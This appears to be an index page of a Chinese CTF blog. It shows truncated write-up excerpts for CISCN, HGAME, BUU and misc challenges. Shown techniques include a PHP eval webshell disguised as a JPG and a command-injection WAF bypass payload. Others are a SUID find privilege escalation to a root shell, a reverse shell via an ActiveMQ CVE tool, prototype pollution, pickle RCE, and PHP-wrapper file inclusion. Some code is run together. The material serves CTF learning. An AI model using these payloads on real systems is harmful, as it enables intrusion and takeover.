CISCN
CISCNWEB主要写的是新学到的两个知识点涉及到的两个题,分别是Python原型链污染,以及python栈帧沙箱逃逸。
sanic/src扫描下载源码。
1234567891011121314151617181920212223242526272829303132333435363738from sanic import Sanicfrom sanic.response import text, htmlfrom sanic_session import Sessionimport pydash# pydash==5.1.2class Pollute: def __init__(self):passapp = Sanic(__name__)app.static("/static/", "./static/")Session(app)@app.route('/', methods=['GET', 'POST'])async def index(request): return ...
hgameweek4
week4webReverse and Escalation打开网站需要登录抓个包,感觉activemq有点眼生,查一下发现是一个CVE-2023-46606,默认admin和admin登录一下github上有专用的工具https://github.com/SaumyajeetDas/CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ/按照步骤执行一下成功反弹shellcat /flag一下发现 Permission denied查找资料,原来是权限不够,涉及到提权的知识匹配一下可以用find命令提权find / -perm -g=s -type f 2>/dev/null find . -exec /bin/sh -p \; -quit 反弹一个有root权限的shell就可以啦
everse and Escalation.IIfind 命令会出现一个很奇怪的东西怀疑把find命令内部改过了,把文件base64复制下来,粘贴到010editor,用ida打开查看main函数观察函数,会以时间为种子生成伪随机数,需要我们一次性输入伪随 ...
hgameweek3
week3webwebvpn审计源代码,发现最后一段函数,要求我们从本地访问该网站,才能进行读文件操作
联想到SSRF但是怎么进行攻击?
接着审计代码,发现了典型能造成的原型链污染的函数update原型链污染的逻辑是
1原型链污染简单来说就是如果能够控制并修改一个对象的原型,就可以影响到所有和这个对象同一个原型的对象
而本网站的作用是构造一个VPN访问外网,联想到我们需要从本地访问,也就是说构造一个127.0.0.1的网站供我们访问同时注意函数禁用了__proto__因此我们采用constructor.prototype,而根据代码要求我们在user/info发送post请求同时调用req.body作为update函数的参数因此我们可以构造payload,考虑到访问ip地址默认80端口,而本地开放3000端口,因此访问的时候利用3000端口访问/flag就可以得到flag啦
ZeroLink网页是一个存储记忆的东西(?)可以查询记忆查看源码,发现以管理员身份登录后还可以上传文件等操作,因此我们先登录(登录界面也只能以管理员身份登录)但是远程的密码数据库中并不能查询到,通过询问 ...
hgameweek2
hgameweek2webWhat the cow say?打开网站,是一个让我们输入内容并且会由牛牛输出的框框,首先试了一些常见的注入命令,发现分别出现了WAF和ERROR,对一些常见关键词如&&出现了WAF过滤初步猜测是命令行注入,查了好久的绕过,原来是利用$()内联执行但是WAF了cat,flag绕过一下,发现显示该文件是个目录,没办法读取!
paylod=$( c$@at /f$@lag_is_here)
再ls+cat flag 就好啦
myflask打开网页是一串python代码要求我们把cookie中的username改为admin才能回显数据,刚开始试了改包,但是没成功,上网查询资料之后发现要伪造session,密钥是开靶机的时间,然后在网上找了脚本加密一下运行,在code里面数据不对,在虚拟机里的数据才是正确的,成功改了cookie。(感觉coded的版本太高了)随后发送post请求,发现 有一个pickle.loads函数。查阅发现能进行pickle的rce然后构造一个简单的脚本,同样在虚拟机里运行。然后cat /flag 就好啦
Sele ...
hgame
hgame week1webezhttp题目要求从vidar.club进入修改请求头之后,根据题目修改use-agent并从本地访问,这里普通的 X-Forwarded-For: 127.0.0.1,或client-ip:127.0.0.1都不可以,查阅资料,我们发现了X-Real-IP:127.0.0.1可以实现功能刚开始以为是需要抓包,尝试了半天结果是上方给的密文,试了一下base64解码,得到flag
bypass it题目要求我们登录,但是首先要注册,点击注册会根据弹窗返回登陆页面,根据提示,我们禁用js,成功登录
Select Courses这题模拟的是选课系统,随机会有课放出来,因此我们搞个爬虫判断课程是否有余量并不断发送请求
12345678910111213141516171819202122232425262728import jsonimport requestsfor i in range(5): while(1): a=requests.get('http://47.100.137.175:30125/api/courses ...
PHP
BUU-PHP爆破目录下载源码查看网址,通过备份网站的线索可以想到是可以通过爆破目录下载源码的,我们直接尝试www.zip,获得源码。
代码审计源码,我们获得了flag.php,经过尝试是一个假flag,于是接着进行代码审计。
123456789101112131415161718192021222324252627282930313233343536373839404142434445#index.php<!DOCTYPE html><head> <meta charset="UTF-8"> <title>I have a cat!</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css"> <link rel="stylesheet" href=" ...
文件上传
buu 文件上传漏洞此题是让我们上传文件我们通过尝试,发现需要图片并且是jpg格式,我们首先尝试构造一个一句话木马,方便后续进行读取flag我们通过修改content-type和文件后缀上传文件要求不能是php文件,我们尝试php2,php3,phtml的后缀,最后发现phtml成功绕过这条线索要求不能有<?即不能有php文件内容,我们通过Js内嵌php代码可以实现绕过
<script language='php'>@eval($_POST['cmd']);</script>还是不可以,可能是文件头没有修改,我们查找资料发现jpg的文件头为FFD8FF。通过010editor我们修改文件内容成功绕过,并上传文件(图偷的)
我们想要读取文件,在文件上传漏洞中一般在upload或根目录下,然后就可以进进行一句话木马的常规操作读取flag啦。
hgamemini-TuTu's Diary Book
hgamemini-TuTu’s Diary Book打开界面,是一个可以输入心情和内容的日记本,通过观察没有任何可以下手的地方,首先我们通过爆破网站目录或者根据经验获取网站源码以进行代码审计。
源码获取这里注意常见的源码文件:
1234561.www.zip2.www.tar.gz3.src.zip4.src.tar.gz5.www.tar6./.git/
123456789101112131415161718192021222324252627// newdiary.php<?php $diary_template = "<?xml version='1.0' encoding='utf-8'?> <diary> <date>%s</date> <feeling>%s</feeling> <content>%s</content> ...
hgamemini-Misc总结
hgamemini-图片隐写总结复原图片尺寸
是一张看不出来任何文字和图像的乱码文字,可能是修改了图片的长和宽
通过010 Editor载入png模板,查看到图片的长和高利用Python脚本计算正确的尺寸
12345678910111213import osimport binasciiimport structcrcbp = open("xxx.png", "rb").read() #打开图片for i in range(2000): for j in range(2000): data = crcbp[12:16] + \ struct.pack('>i', i)+struct.pack('>i', j)+crcbp[24:29] crc32 = binascii.crc32(data) & 0xffffffff if(crc32 == 0x38162a34): #图片当前CRC ...
hgamemini-ReadSomethingUseful
Read Something Useful 题解首先观察界面
发现是通过点击获取不同的表情包,没有任何头绪,于是按F12进入开发者模式发现<!-- try to read index.php first! -->以及
1234 $file = $_GET['file'];if(strpos($file, "emoji") !== false){ include($file.'.php');}
根据提示要读取index.php,而在此处发现文件上传漏洞,可以在此处读取index.php
根据代码,要进入index.php首先要保证传入的value内容中有emoji,但是又要保证读入的内容为index.php,通过查阅资料发现可以通过伪协议来实现文件读取的功能。通过伪协议构造payload构造write=emoji来达到不影响读取同时又有emoji的效果。得到代码
1234567891011121314151617181920212223242526272829303132333435363 ...